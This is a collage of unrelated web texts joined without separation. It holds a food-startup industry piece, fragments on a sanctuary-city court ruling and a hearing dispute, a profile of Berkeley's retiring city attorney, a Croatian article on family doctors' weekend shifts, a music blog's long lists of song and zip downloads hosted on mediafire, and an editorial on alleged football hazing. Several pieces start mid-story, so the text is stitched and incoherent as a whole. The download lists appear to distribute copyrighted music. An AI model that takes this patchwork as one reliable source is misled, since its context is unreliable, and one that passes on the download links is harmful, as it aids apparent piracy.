Food delivery seems to be the industry’s big winner right now. Companies such as FreshDirect, AmazonFresh, Deliveroo, UberEATS and Instacart are competing to bring groceries and takeout right to your door. Even as funding seems to be cooling off, DoorDash has succeeded in raising $127 million and is valued at $1 billion. “Food delivery has become a veritable venture capital obsession,” according to Bloomberg. With online penetration still only around 1%, though, food and grocery delivery remains stubbornly old school and offline. “There’s a lot of room for people to come in, innovate and disrupt,” Stan Chia, SVP of Operations at Grubhub, told the Los Angeles Times.
Companies bringing private chefs to homes and private events have not fared as well as delivery startups have. Dinner Lab, Kitchit and Kitchensurfing all went under this year. Collectively, these companies had raised more than $35 million, according to CrunchBase. But many food startups struggle to operate at scale, and these closures demonstrate some of the friction that has led to decreased funding this year. Those that survive are facing challenges beyond just competition.
Food startups must innovate without disrupting how consumers think about food and meals. “Consumers want the affordability, abundance and access of [the] existing system, but they also want authenticity, food that has been the fruit of labor, and that ties into the culinary traditions of the past as well as offering new ideas,” writes Teresa Novellino in the New York Business Journal. Food is such an important part of culture and social interactions that straying too far from the traditional can be overly disruptive and inhibit consumer adoption of products and services. Blue Apron and Plated have effectively tackled this challenge, creating a balance between innovation and tradition. Both companies offer regular delivery of preportioned ingredients and recipes to subscribers, who then cook the meals themselves. The services provide a modern, efficient solution while preserving the importance and enjoyment of cooking and mealtime.
Byte is a company that provides offices with vending-machine style refrigerators full of healthy food options. Megan Mokri, CEO and Founder of Byte, says:
The problem that we solve is the fact that you’ve got 150 million Americans shopping at high-quality grocers, yet when they go to work, their food is really stuck in the 80s. No fresh food. It’s largely vending machines with packaged snacks, because getting fresh food on-site is incredibly expensive.
In fact, 99% of offices have no fresh food on-site, according to Mokri.
Byte’s solution not only supports office workers’ well-being (90% of Byte’s customers said the company’s offerings allowed them access to healthier lunch options in the office), but also provides a new distribution channel for natural food brands, while allowing those brands to gather valuable consumer data. Each Byte refrigerator is RFID enabled, so people are automatically charged based on what they remove from the fridge. Byte has access to real-time inventory information, allowing the company to optimize inventory and personalize the contents of each fridge to meet the demands of the consumers at each location.
Byte’s high-tech refrigerators also help to ensure food safety. “We have real-time temperature monitoring of all refrigerators in the fleet, so we can do things like lock a fridge down if we see it was unplugged or [if], for some reason, the temperature is not being maintained," Mokri says.
Ample—a meal shake made from natural ingredients—became the most-funded food campaign of all time on Indiegogo, raising $367,624 after surpassing its original goal of $50,000 in just 30 hours. The meal shake offers consumers convenience, quality ingredients and a great-tasting flavor. Free of GMOs, soy, gluten, added sugar and artificial flavors, Ample provides the carbs, protein and fats necessary to your diet from nutritious sources such as macadamia nuts, organic greens and sweet potatoes.
However, Ample does not consider itself exclusively a consumer product goods company. “I see it as preventative healthcare. Food is the most powerful drug we have," says Connor Young, the company’s CEO and Founder. "When Big Food and Big Medicine don’t work with each other, we get $3 trillion in medical expenses and a big societal impact. This is where Ample is going to bridge the gap.”
Ample plans to run clinical studies to optimize future versions of the product and ensure that it is providing the best nutrition possible. “No food company has ever really gotten feedback on how their product affects their consumers’ health," Young says. "No one is actually measuring the outcome on a physiological level, which is why they don’t care if they make it unhealthy, because they are not culpable for the health effects." Ample intends to do things differently, creating a connection between food companies and medicine. Young says the most exciting part of the business exists in the science and the real health benefits that his company’s product provides.
Santa Clara County and the city of San Francisco sued the Trump administration soon thereafter, alleging that the order went beyond what Section 1373 authorized. The jurisdictions also argued the new defunding provisions violated the Fifth Amendment’s due-process protections and the Tenth Amendment’s ban on federal commandeering of state powers. At stake for both the city and the county is federal funding, amounting to roughly $1.2 billion of San Francisco’s $9.6 budget and about 35 percent of Santa Clara’s total budget. Orrick noted the executive order “has caused budget uncertainty by threatening to deprive the counties of hundreds of millions of dollars in federal grants that support core services in their jurisdictions.”
In his ruling, Orrick noted the Justice Department tried to defend the executive order during oral arguments by offering a narrow interpretation of it. But the judge indicated he was unconvinced. “The government attempts to read out all of Section 9(a)’s unconstitutional directives to render it an ominous, misleading, and ultimately toothless threat,” he wrote. “It urges that Section 9(a) can be saved by reading the defunding provision narrowly and ‘consistent with law,’ so that all it does is direct the attorney general and [the homeland security] secretary to enforce existing grant conditions. But this interpretation is in conflict with the order’s express language and is plainly not what the order says.”
The Justice Department’s woes did not end there. Compounding their difficulties in defending the executive order were a series of public statements by Trump, White House Press Secretary Sean Spicer, and Attorney General Jeff Sessions, which Orrick cited as evidence the federal government intended to broadly enforce the order.
The fact is, we don't want to have some sort of a stage show. We had fact witnesses. They testified. We have the Ambassador and Admiral Mullen who conducted and oversaw the [independent review]. We're inviting them on Monday. We'll go through, not in front of the public, but in a nonpartisan way.
But the two assert in their letter that a public hearing is a "more appropriate forum" and accuse Issa of changing his "position on the terms of our appearance."
On July 20, he appeared in a Hayward courtroom to argue that Berkeley was correct in requiring a developer to get a demolition permit to tear down a single-family home at 1310 Haskell Street and build three others in its place.
It wasn’t an argument Cowan agreed with – in fact, he had tried to persuade the City Council that its requirement violated the state’s Housing Accountability Act – but as the Berkeley City Attorney, he was duty bound to argue it. His clients, after all, were City Council members, and they had voted in May on an action that they knew would land Berkeley in court.
The judge even noted from the dais that Cowan was in a tricky position. He had given his clients’ legal advice they had rejected, and then he had to argue a position he did not believe in before the court.
The court ruled against Berkeley.
Despite the awkwardness of his position that day, Cowan actually considers himself lucky. He has been working as an attorney for Berkeley for 24 years and that was the only time he had to argue something with which he disagreed.
“It was a first, actually,” Cowan said recently over coffee at PIQ in downtown Berkeley. “But that’s what you do to represent your client. Having only done that once is pretty remarkable.”
Cowan, 60, is retiring as Berkeley’s top lawyer today. On Tuesday, at his last City Council meeting, he was greeted with a standing ovation and a generous thank you from a number of council members and staff.
“Zach has been an amazing public servant,” said City Manager Dee Williams-Ridley. “He’s been one of the most responsive, confident, no-nonsense litigators I have ever met. I am profoundly grateful for his service.”
“We have been well-represented in the courts, very creatively and thoroughly,” said City Councilwoman Linda Maio.
Cowan gets a standing ovation from council and most of audience. #berkmtg — Berkeleyside (@berkeleyside) July 26, 2017
Cowan, who grew up in Castro Valley and who attended UC Hastings College of the Law in San Francisco, was a private attorney who specialized in land use and environmental law before he came to work for Berkeley, a specialty he has been able to use frequently in the past few decades. Cowan had sued UC Berkeley over the construction of Soda Hall and had challenged it successfully in a CEQA suit over the construction of UC Berkeley’s Northwest Animal Facility. Berkeley filed an amicus brief in that last case.
He came to work as a deputy city attorney in 1993, was promoted to assistant city attorney a short time later, and became acting city attorney in December 2007, after the retirement of Manuela Albuquerque. Cowan was appointed city attorney in October 2009. He is paid about $200,000 a year.
His successor is Farimah Brown, who worked as a city attorney in Livermore, Oakland and Alameda.
“Berkeley is always going to do the right thing”
One of the reasons Cowan gave up his private practice to work for Berkeley – besides the fact that he and his wife had just moved from San Francisco to Berkeley with their two children, with a third to come later – was that he admired the city’s values.
“I always thought if I had my pick of places to work it would be Berkeley, because no matter how silly or stupid it can be it’s always going to do the right thing,” he said. “There are not a lot of government jobs where you can have the confidence that it’s never going to bother you representing them. Berkeley isn’t in the business of burying creeks and grading hills and putting up McMansions. If Dublin had called and said ‘we would like you to work here,’ I would have said no.”
Cowan oversees a staff of eight lawyers who all share that sense that Berkeley has values worth preserving, he said. The attorneys in the office spend much of their time reviewing staff reports and proposed ordinances to spot potential legal issues and keep the city out of court.
“Most of what we do is not litigation,” said Cowan. “It’s done with an eye toward potential litigation.”
The attorneys also frequently defend the city against people who have tripped on the sidewalk, or who are happy or unhappy when projects are approved or denied.
Cowan’s expertise in land use policy, particularly CEQA, has been helpful as Berkeley has implemented a Downtown Area Plan and changed zoning in various parts of town.
Berkeley has been sued several times over its approval of environmental impact reports, most recently when two residents sued over the EIR for the 180-feet high, 302-unit project at 2211 Harold Way (Berkeley prevailed).
“He kept me and the city out of trouble”
Most of the time, Berkeley’s position has stood up in court because of Cowan’s advice and perspective, said Dan Marks, who stepped down as the city’s former planning and development director about five years ago.
“He kept me and the city out of trouble innumerable times, which is important for a city attorney to do, to give advice that says ‘Well if you go in this direction there will be some potential legal problems,’” said Marks. “He identified legal problems early on and he addressed them quickly before they became serious problems.”
Cowan said he has gotten the most satisfaction from a handful of cases, some of which went up to the appeal level and then were published by the courts, indicating they had state-wide implications. One involved the First Presbyterian Church’s attempt to tear down a structure to evade Ellis Act requirements, he said.
He is also proud of an effort he and Wendy Cosin, a former planner, led consolidating lots on Panoramic Hill to prevent development the city could not service, he said. He is also proud of Berkeley’s role in challenging, through friend-of-the-court briefs, President Trump’s edicts against sanctuary cities, and the ban on immigration from certain Muslim countries.
There have also been numerous high-profile and controversial cases, such as those brought by people who said they were mistreated by police during the Black Lives Matter protests in 2014, the ordinance requiring retailers to warn customers about the potential radiation dangers of cell phones, the push by the U.S. Postal Service to close the main post office on Allston Way, a lawsuit contending that Berkeley police caused Kayla Moore’s death, and the numerous cases filed by Chris Smith, the former owner of Forty Acres, the medical cannabis collective, among others.
The question of how Berkeley treats its homeless residents – whether they can set up tents on public property, how much room they can take up sitting down on the sidewalk – has also been interesting, said Cowan.
“People do municipal law because they want to be able to see the difference they can make,” said Cowan, referring to himself. “You do that here. You get that opportunity. That’s different than being someone in a giant bureaucracy that might have a national scope but your part in it is so tiny you’re a cog.”
On council meetings: ‘There are moments…’
One thing Cowan will not miss is the long City Council meetings. While the issues can be fascinating, it can be difficult to hear the same public comments meeting after meeting, he said.
“They are quite interesting often but there are moments when I am thinking my life is ticking away and I am sitting here and what am I listening to?” he said. “You tend to hear similar things on more than one occasion.”
He is also concerned that Berkeley passes so many ordinances that it cannot enforce them all – an opinion he has shared with other staff and City Council members, he said. Part of that is an enthusiasm problem. The city has nine council members, many of whom have lots of ideas that they want to turn into law. But Cowan thinks it does residents a disservice to adopt laws that cannot be enforced because of Berkeley’s limited resources, he said.
“We love to adopt ordinances that are good and are good policy,” he said. “They sound good but they don’t execute themselves for the most part. It’s not quite a broken promise but it’s a responsibility when you have an ordinance to enforce it.”
Cowan plans to go out quietly, with only a small party honoring his years of service. But City Councilwoman Susan Wengraf noted Tuesday night that Cowan lives in her district. She invited him to return to City Council meetings any time he felt like.
Na najave ministra zdravlja Darija Nakića da će reformu hitne medicinske službe riješiti pojačanim dežurstvima obiteljskih liječnika, reagirala je Koordinacija hrvatske obiteljske medicine (KoHOM) koja poručuje da koncesionari ne bježe od dežurstava, ali traže da posao podijele sa zavodima za hitnu medicinu, te da im se osiguraju bolji uvjeti rada.
Tražimo dežurne laboratorije i rendgene, te da se jasno definiraju stanja za koja se liječnička pomoć može tražiti vikendom, ističe predsjednica KoHOM-a Ines Balint u razgovoru za Hinu iznoseći stajalište privatnih koncesionara kojih je 70 posto u primarnoj zdravstvenoj zaštiti, a zbog svojeg specifičnog statusa dosad nisu morali dežurati vikendima i praznicima.
U suprotnom, kaže, uslijedit će masovni egzodus obiteljskih liječnika u zemlje zapadne Europe jer su obiteljski liječnici u Hrvatskoj već na rubu izdržljivosti zbog dvostruko i trostruko više kontakata sa pacijentima u odnosu na kolege iz europskih zemalja, uključujući i nepotrebno preveliko administrativno opterećenje.
Ministar je nedavno najavio da će, nakon reforme hitne medicinske službe, tijekom vikenda i praznika pacijente 4. i 5. stupnja hitnosti rješavati obiteljski liječnici, a neslužbeno se doznaje da će se do 30. lipnja ove godine mijenjati ugovori o koncesiji i u njima uvesti obavezna dežurstva.
Nakićeve najave Balint ocjenjuje nekorektnim pokušajem rasterećivanja bolnica na račun obiteljske medicine koja nije kriva što velik broj pacijenata samoinicijativno traži pregled u objedinjenom hitnom prijemu bolnica, vrlo često i nakon pregleda obiteljskog liječnika, tražeći drugo mišljenje ili očekujući pretrage ili lijekove za koje misle da su im potrebni.
Objašnjava da su i do sada gotovo u svim županijama organizirani punktovi posebnih dežurstava u kojima pretežno dežuraju zaposlenici domova zdravlja, a privatni koncesionari su često odbijali dežurati jer na tim mjestima nedostaje i najosnovnija oprema, poput EKG-a, defibrilatora, inhalatora, kirurških setova, čak i šprica za ispiranje ušiju i računala.
No, nije ta situacija uzrokovala pritisak na bolnice, već zadnje reforme hitne medicinske pomoći (2011.), koja se «pokazala lošom i nedovršenom». «Novoformirani Zavodi za hitnu medicinu od te reforme većinom više nemaju mogućnost pregleda pacijenata i davanja terapije u svojim prostorijama, već samo izlaze po pozivu na teren. Rezultat je da pacijenti često samoinicijativno traže uslugu u bolnici, nakon što ne zateknu nikoga u prostorijama hitne pomoći», kaže Balint.
Kao poseban promašaj navodi formiranje timova 2, u kojima su samo vozač i medicinska sestra, i - s obziroma da nemaju veće nadležnosti, predstavljaju samo skupu taksi službu. Kao zoran prikaz situacije na terenu navodi se slučaj iz jedne županije gdje je liječnik hitne medicinske pomoći odbio pratnju maloljetnog pacijenta s pneumotoraksom u 80 km udaljenu kliničku bolnicu, bez obzira na traženje obiteljskog liječnika koji je dijagnozu potkrijepio svojim pregledom i radiološkom obradom, uz obrazloženje da im je to predaleko i da ne mogu zbog toga ostaviti teren bez liječnika.
Stoga u KoHOM-u traže da se definiraju nadležnosti liječnika Hitne medicinske pomoći, a posebno skupih timova 2 koji sada služe samo kao sanitetski prijevoz. Također traže da se definiraju stanja u kojima je opravdano dolaziti u dežurstvo liječniku obiteljske medicine ili hitne medicinske pomoći, te da se destimulira pacijente da dolaze u dežurstva po kronične terapije, zbog križobolje, bola u koljenu, šmrcanja nosa ili panike zbog povišenog krvnog tlaka.
"Istraživanja su pokazala da je prvi na listi simptoma zbog kojih pacijenti u Hrvatskoj vikendom i po noći traže zdravstvenu zaštitu - povišena vrijednost tlaka. Toga nigdje drugdje u Europi nema. Pacijenti se trebaju redovito javljati svom liječniku obiteljske medicine, uzimati terapiju koju im je propisao njihov liječnik i pridržavati se higijensko-dijetetskih mjera. Povišen arterijski tlak je kronično stanje koje se liječi u ordinaciji obiteljske medicine,", poručuje predsjednica udruge obiteljskih liječnika.
«Primjerenije je okupiti kvalitetne ljude koji će svojim prijedlozima osigurati kvalitetne pomake, pa makar se isti produžili za nekoliko mjeseci. Umjesto da probleme rješavamo u hodu, kao što to radimo već godinama, a što rezultira nezadovoljnim i pacijentima i zdravstvenim radnicima", zaključuje Balint.
As if the possibility of someone stealing your information and spying on you isn’t scary enough, according to ComputerWorld, “it is also possible to copy the configuration of a TV’s remote control, which would allow a hacker to copy the remote control’s settings, and remotely change the channel.”
We have compiled some of our favorite songs we blogged (and didn’t blog) over the last couple of weeks. Yes you heard it right, we are only going a few weeks back! Almost all these songs are completely fresh of the oven. This is not saying a couple from the beginning of the year didn’t slip through but we hope this makes it easier for you to find what you like. This is DEFINITELY NOT a “Best of” list but more like a fun and concise collection of songs following the great genres we blog every day.
Please share this post with everyone you know!
We are confident that a great gift you can give your music loving friends is a link to this page 🙂
INDIE/FOLK/HIP/HOP/ELECTRONICA
Some of our favorite indie tracks we have posted in the last couple of weeks. Download zip bellow.
Stream all songs (click arrows to navigate, takes a sec to load):
’65Daysofstatic – Come to Me ft. Robert_Smith, Alex Clare
Caroline, Awolnation – sail, AzR – Thank You Steve, Brick+Mortar – For Yellow Walls, Brick+Mortar – Heatstroke, Coeur de pirate – Ava, Coeur de pirate – Saint
Download Zip: Part 1 (166mb) – Part 2 (92mb) [mediafire]
Download: 65Daysofstatic – Come to Me ft. Robert_Smith
Download: Alex Clare -Caroline
Download: Awolnation – sail
Download: AzR – Thank You Steve
Download: Brick+Mortar – For Yellow Walls
Download: Brick+Mortar – Heatstroke
Download: Coeur de pirate – Ava
Download: Coeur de pirate – Saint-Laurent
Download: Cultfever – Knew You Well
Download: Dog Is Dead – Hands Down
Download: Feist – Pine Moon
Download: FLASHLIGHTS -New Hampshire
Download: Florence and The Machine – Shake It Out Remix (Feat. The Weeknd)
Download: Friends – Im His Girl
Download: Home Covers – The Flame
Download: Home Video – A Quiet Place
Download: Hoodie Allen – James Franco
Download: Hudson – Against The Grain
Download: Megafaun – Hope You Know
Download: Mumford and Sons – Ghost That We Knew
Download: Oh Land – Bloodbuzz Ohio (National Cover)
Download: Papertwin – Coma
Download: Peter Peter Feat. Cour De Pirate – Tergiverse
Download: Phantogram – Don’t Move
Download: Phoenix – 1901 (Birdy Cover)
Download: Rostam – Wood
Download: Saukrates – Say I
Download: Hungry Kids of Hungary – Scattered Diamonds
Download: Scattered Trees – Five Minutes
Download: Tahiti 80 – Easy
Download: The Color Bars – Mustached Messiah
Download: The Colors Bars = Structupoppie Rally
Download: The Dodos – So Cold
Download: The Rubens – Lay it down
Download: The Weeknd – Initiation
Download: Washed Out – Call It Off
Download: Youth Lagoon – Afternoon
Download Zip: Part 1 (166mb) – Part 2 (92mb) [mediafire]
DUBSTEP
DUBSTEP. DUBSTEP. DUBSTEP. Our favorite tracks that we posted, and many others that we didn’t. TURN IT UP!
Stream all songs (click arrows to navigate, takes a sec to load):
’FUCK YOU (If You Like This Song), Alice Deejay – Better Off Alone (TBMA Remix), AWOLNATION – Sail (ill
esha Remix), Bare – Dirtybit, Bassnectar – Voodoo, Camo & Krooked – James Bond Theme
Download ZIP: Part 1 (165mbs) – Part 2 (163mbs) [mediafire]
Download: 23- FUCK YOU (If You Like This Song)
Download: Alice Deejay – Better Off Alone (TBMA Remix)
Download: AWOLNATION – Sail (ill-esha Remix)
Download: Bare – Dirtybit
Download: Bassnectar – Voodoo
Download: Camo & Krooked – James Bond Theme-Rework
Download: Boys Noize – Arcade Robot (Sound Remedy Remix)
Download: Bullwack – Need by Eddy (Bullwack Remix)
Download: Caesars – Jerk It Out ( Sawgood remix )
Download: CAZZETTE – The Shining (Original Halloween Mix )
Download: Celldweller – Disposable War Pigs (Celldweller Klash-Up)
Download: David Guetta – Titanium feat. Sia (Eos Remix)
Download: Eos – Moves Like Jagger (Eos Remix)
Download: EXAMPLE – Changed The Way You Kiss Me (Creeptown Remix)
Download: Excision And Downlink – crowd control (original mix)
Download: Figure – Dominate
Download: Figure – The Monsters Revenge (Vinnie Maniscalco Remix)
Download: Figure — This is Halloween
Download: FS & Reid Speed – Bass Monster (Calvertron Remix)
Download: GRiZ – Where Is The Love
Download: Helicopter Showdown + IB – Gucci Gucci by Kreayshawn (Helicopter Showdown and IB Remix)
Download: Katy B – Katy On A Mission (Vinnie Maniscalco Edit)
Download: LIPS – Everything To Me (Adventure Club Dubstep Remix)
Download: m83 – Midnight City (PatrickReza Dubstep Remix)
Download: Midnight Conspiracy – Discord (Tolgar Remix)
Download: Mr. Little Jeans – The Suburbs (Cry Wolf Remix)
Download: Rollz – Plugged In (Bassnectar Remix)
Download: Skrillex & Feed Me – Loud Noises
Download: Skrillex & Nero – Promises (Beatnox Bootleg Remix)
Download: Spencer & Hill ft. Nadia Ali – Believe It (Cazzette’s Androids Sound Hot Remix)
Download: Starkillers + Alex Kenji ft. Nadia Ali – Pressure (Zomboy Remix)
Download: T.I ft. Christina Aguilera – Castle Walls (fAux Dubstep Remix)
Download: The Mavrik – Sexy And I Know It by LMFAO (The Mavrik Remix)
Download: Two Door Cinema Club – What You Know (Feed Me Cover)
Download ZIP: Part 1 (165mbs) – Part 2 (163mbs) [mediafire]
ELECTRO/FILTH/PROGRESSIVE/TECHNO
Stream all songs (click arrows to navigate, takes a sec to load):
”The Rapture – How Deep Is Your Love? (A
Trak Dub aka Dub For Mehdi), Alesso – Raise Your Head (Alvin Doe Reboot), Baskerville – Devils Town (Bart B Mores Stuiter Remix), Bingo Players – Rattle, Cal State Anthem feat. Kissed With A Noise The M Machine Remix, Rihanna – California King Bed – Bassjackers Club Mix, Calvin Harris vs. Hardwell – Feel So Cobra (Doctor Dave Bootleg), Chris Lake – Sundown (Laidback Luke Remix), Diplo & Oliver Twist – GO (Peace Treaty Remix), Duck Sauce – Big Bad Wolf (Dada Life Remix), Erick Morillo – Break Down The Doors (Dimitri Vegas & Like Mike Deep Down Dirty 2011 Mix), Felguk – Blow Out (Lazy Richs Impossible Remix), Housse De Racket – Roman (Alvin Risk Remix), Jerry Rekonius – Powahbunga (Original Mix), Kaskade – Turn It Down (Le Castle Vania Remix), Kaskade and Dada Life Feat. Dan Black – Ice, Knife Party – Internet Friends, Knife Party – Tourniquet – Original Mix, Markus Schulz pres.Dakota – Miami (Extended Mix), Steve Aoki & Afrojack – No Beef Ft. Miss Palmer (Panic City & Supersede Remix), Nom De Strip TJR feat. Sue Cho – My Life (Original Mix), Pitbull feat Marc Antony – Rain Over Me (Stas Rich Remix), Porter Robinson – Unison (Mikkas Remix), Robbie Rivera – Funkatron (Tocadisco Remix), SHM vs Knife Party vs. Tim Berg – Alcohol Antidote (Pressure 12 Step Bootleg), Singapore Swing – Original Mix, Steve Forte Rio & Lindsey Ray – Slumber (Tommy Trash Remix), Swedish House Mafia – Save The World (Tune Brothers Bootleg Mix), The Bloody Beetroots – Church Of Noise 1, Tiesto – Maximal Crazy (Bassjackers Remix), Yeah! Woho! – Pushing (Canblaster Remix), zedd – shave it (501_remix), Zedd – Stars Come Out”
Download ZIP: Part 1 (186mbs)- Part 2 (184mbs) [mediafire]
From electro filth, goosebumping progressive and completely catchy techno, a great collection to dance your ass off to.
Download: The Rapture – How Deep Is Your Love? (A-Trak Dub aka Dub For Mehdi)
Download: Alesso – Raise Your Head (Alvin Doe Reboot)
Download: Baskerville – Devils Town (Bart B Mores Stuiter Remix)
Download: Bingo Players – Rattle
Download: Cal State Anthem feat. Kissed With A Noise The M Machine Remix
Download: Rihanna – California King Bed – Bassjackers Club Mix
Download: Calvin Harris vs. Hardwell – Feel So Cobra (Doctor Dave Bootleg)
Download: Chris Lake – Sundown (Laidback Luke Remix)
Download: Diplo & Oliver Twist – GO (Peace Treaty Remix)
Download: Duck Sauce – Big Bad Wolf (Dada Life Remix)
Download: Erick Morillo – Break Down The Doors (Dimitri Vegas & Like Mike Deep Down Dirty 2011 Mix)
Download: Felguk – Blow Out (Lazy Richs Impossible Remix)
Download: Housse De Racket – Roman (Alvin Risk Remix)
Download: Jerry Rekonius – Powahbunga (Original Mix)
Download: Kaskade – Turn It Down (Le Castle Vania Remix)
Download: Kaskade and Dada Life Feat. Dan Black – Ice
Download: Knife Party – Internet Friends
Download: Knife Party – Tourniquet – Original Mix
Download: Markus Schulz pres.Dakota – Miami (Extended Mix)
Download: Steve Aoki & Afrojack – No Beef Ft. Miss Palmer (Panic City & Supersede Remix)
Download: Nom De Strip TJR feat. Sue Cho – My Life (Original Mix)
Download: Pitbull feat Marc Antony – Rain Over Me (Stas Rich Remix)
Download: Porter Robinson – Unison (Mikkas Remix)
Download: Robbie Rivera – Funkatron (Tocadisco Remix)
Download: SHM vs Knife Party vs. Tim Berg – Alcohol Antidote (Pressure 12 Step Bootleg)
Download: Singapore Swing – Original Mix
Download: Steve Forte Rio & Lindsey Ray – Slumber (Tommy Trash Remix)
Download: Swedish House Mafia – Save The World (Tune Brothers Bootleg Mix)
Download: The Bloody Beetroots – Church Of Noise 1
Download: Tiesto – Maximal Crazy (Bassjackers Remix)
Download: Yeah! Woho! – Pushing (Canblaster Remix)
Download: zedd – shave it (501_remix)
Download: Zedd – Stars Come Out
Download ZIP: Part 1 (186mbs)- Part 2 (184mbs) [mediafire]
HOUSE/PROGRESSIVE
A couple of housy tunes that came across our way while we searched the webz
Stream
”Kap Slap – Kaskade Found Love (Rihanna x Nero x Chrizz Luvly), Avicii & Axwell & Bob Sinclar feat. Ron Carroll – Wonderful Levels (higHPosition Edit), Coldplay vs. Dirty South & Those Unusual Suspects – Every Teardrop Walking Alone (Project 46 Mashup), Deadmau5 – Aural Psynapse (Myndset Remix), Deniz Koyu vs. Kaskade – It’s you, It’s Hertz (Sunny Ventura Mashup), Goodwill & Hook N Sling – Take You Higher (Club Mix), Kaskade vs. Deniz Koyu – Its You Its Hertz (Kaskade Mash Up), Kelly Rowland – Down For Whatever (DJ Chuckie Remix), Muttonheads & Eden Martin – Going Away (Bodybangers Remix), Pitbull feat. Marc Anthony – Rain Over Me (APPLE JUICE Remix 2011)”
Download Zip Here (123mbs) [mediafire]
Download: Kap Slap – Kaskade Found Love (Rihanna x Nero x Chrizz Luvly)
Download: Avicii & Axwell & Bob Sinclar feat. Ron Carroll – Wonderful Levels (higHPosition Edit)
Download: Coldplay vs. Dirty South & Those Unusual Suspects – Every Teardrop Walking Alone (Project 46 Mashup)
Download: Deadmau5 – Aural Psynapse (Myndset Remix)
Download: Deniz Koyu vs. Kaskade – It’s you, It’s Hertz (Sunny Ventura Mashup)
Download: Goodwill & Hook N Sling – Take You Higher (Club Mix)
Download: Kaskade vs. Deniz Koyu – Its You Its Hertz (Kaskade Mash Up)
Download: Kelly Rowland – Down For Whatever (DJ Chuckie Remix)
Download: Muttonheads & Eden Martin – Going Away (Bodybangers Remix)
Download: Pitbull feat. Marc Anthony – Rain Over Me (APPLE JUICE Remix 2011)
Download Zip Here (123mbs) [mediafire]
MOOMBAHTON
Not the most complete list of Moombahton tracks, but definitely one that everyone should have. Some of the best we have heard this year.
Stream:
”David Heartbreak – Moombahma (Munchi Edit), babySTEPS – moomGAEton (Original Mix), CSS – Hits Me Like A Rock (Dillon Francis Remix), Dada Life – Unleash The Fucking Moombah! (Crowd Control remix), Deviance – 93 Million (2Deep Moombahton remix), Diplo – Horsey (Lazerdisk Party Sex Remix), Heartbreak & Toddla T – Blaze Up (BabySTEPS Remix), Arehouse – Hijo De Puta, Porter Robinson – 100% In The Bitch, Willy Joy – A Woman Like Me (Dillon Francis Remix)”
Download ZIP here (101mbs) [mediafire]
Download: David Heartbreak – Moombahma (Munchi Edit)
Download: babySTEPS – moomGAEton (Original Mix)
Download: CSS – Hits Me Like A Rock (Dillon Francis Remix)
Download: Dada Life – Unleash The Fucking Moombah! (Crowd Control remix)
Download: Deviance – 93 Million (2Deep Moombahton remix)
Download: Diplo – Horsey (Lazerdisk Party Sex Remix)
Download: Heartbreak & Toddla T – Blaze Up (BabySTEPS Remix)
Download: Arehouse – Hijo De Puta
Download: Porter Robinson – 100% In The Bitch
Download: Willy Joy – A Woman Like Me (Dillon Francis Remix)
Download ZIP here (101mbs) [mediafire]
DISCO/FUNKY/DANCE/OTHERS
This was all the other amazing tracks that did not fit the other categories, nevertheless they are all a must have for some funky melodic ass shaking readers out there.
Stream:
’Chrome Sparks
All There Is (Feat. Steffaloo), CITIZENS – True Romance (Gigamesh Remix), DJ Fresh vs Daft Punk – Something About Gold Dust (Jimi Needles Blend), Firebeatz vs. Antranig – Whores Like That (Simon Sky Bootleg), Guy J & Henry Saiz – Meridian (Pryda Remix), Jacques Lu Cunt – Reload, Justice – Newlands (The Blisters Boyz Remix), Kamp! – Cairo (Moullinex Remix), Mr. A & Something Good – B.A.B.E. (Lenno Remix), PH Electro – Stereo Mexico (Original Mix), The Boomzers – We Are Back (The S Remix), Totally Enormous Extinct Dinosaurs – Dream On’
DOWNLOAD Zip (144mb) [mediafire]
Download: Chrome Sparks- All There Is (Feat. Steffaloo)
Download: CITIZENS – True Romance (Gigamesh Remix)
Download: DJ Fresh vs Daft Punk – Something About Gold Dust (Jimi Needles Blend)
Download: Firebeatz vs. Antranig – Whores Like That (Simon Sky Bootleg)
Download: Guy J & Henry Saiz – Meridian (Pryda Remix)
Download: Jacques Lu Cunt – Reload
Download: Justice – Newlands (The Blisters Boyz Remix)
Download: Kamp! – Cairo (Moullinex Remix)
Download: Mr. A & Something Good – B.A.B.E. (Lenno Remix)
Download: PH Electro – Stereo Mexico (Original Mix)
Download: The Boomzers – We Are Back (The S Remix)
Download: Totally Enormous Extinct Dinosaurs – Dream On
DOWNLOAD Zip (144mb) [mediafire]
But that's not the end to hazing allegations that arose a few months ago. An attorney for two alleged victims says the hazing involved sexual assault and acts of degradation involving football players. Parents of alleged victims filed a federal lawsuit Wednesday against the district, claiming school officials knew, or should have known, about locker room rituals that had been going on for years and were dismissed as tradition. Horseplay. Team bonding. Boys will be boys.
Uh, no. The alleged hazing — described in the lawsuit somewhat vaguely with portions redacted to protect identities — involves the football team engaging in acts of nudity and assault. The plaintiffs' attorney, Antonio Romanucci, says the behavior and culture dates back decades, though this case centers on two incidents last fall.
A security guard working for the district told investigators he heard music and chanting in the school locker room one weekday evening and interrupted an act he later described as "wrong." From the reports, he walked out but notified a team official later.
Another incident earlier in the school year had been brought to school officials' attention and involved forced nudity and urination, according to the lawsuit.
When administrators learned about the second incident, they sent a note to football parents describing the behavior as "egregious" and took steps to provide players with hazing education. They made the players perform community service work. Two athletic officials were placed on administrative leave and later resigned. Ex-head coach David Proffitt, who also was a physical education teacher, and assistant coach Chad Beaver, who also was a student dean, resigned with severance packages. Proffitt will receive $25,516 and Beaver will receive $12,146, documents show. Athletic director Rolando Vazquez has submitted a resignation effective at the end of the school year.
Lake Zurich police and the Lake County state's attorney's office opened investigations. No charges were brought. But Romanucci said the hazing involved forcing younger teammates to undress and undergo nonconsensual sexual acts. In prior years, according to the lawsuit, players urinated on other players, forced them to perform oral sex and shoved genitals in their faces.
These allegations are astounding, as is the charge that school officials did not address the accusations with the seriousness warranted. With the two incidents described in the lawsuit, the team was forced to do community service and learn about the dangers of hazing. Yet the alleged offenders got to keep playing football.
Kids often partake in hazing incidents because they're kids. They do stupid things. They suffer from group-think. They're under pressure to go along. It's up to the adults to draw a bright line that kids know is not to be crossed.
But where were the adults at Lake Zurich? Did no school officials or coaches realize what was going on? Did no parents question why their sons were in the school locker room on Thursday nights before game days, unsupervised?
This case should be another alarm bell to school officials, coaches and parents everywhere. Hazing is not cool or funny or playful. It's dangerous. It's humiliating. It's illegal.
Why it persists, often without serious punishment, boggles the mind. It ought to be met with zero tolerance.
At Glenbrook North High School in 2003, 33 seniors were expelled for throwing pig intestines, feces and chemicals onto younger classmates as a form of initiation. A year later at Glenbrook South, lacrosse players were suspended and the season canceled after they were accused of smacking younger players' behinds with wooden paddles.
A year later, Loyola Academy lacrosse players were accused of hazing students in an alcohol-related incident. Two players were forced out of the private Wilmette high school, and several others were suspended and dropped from the team.
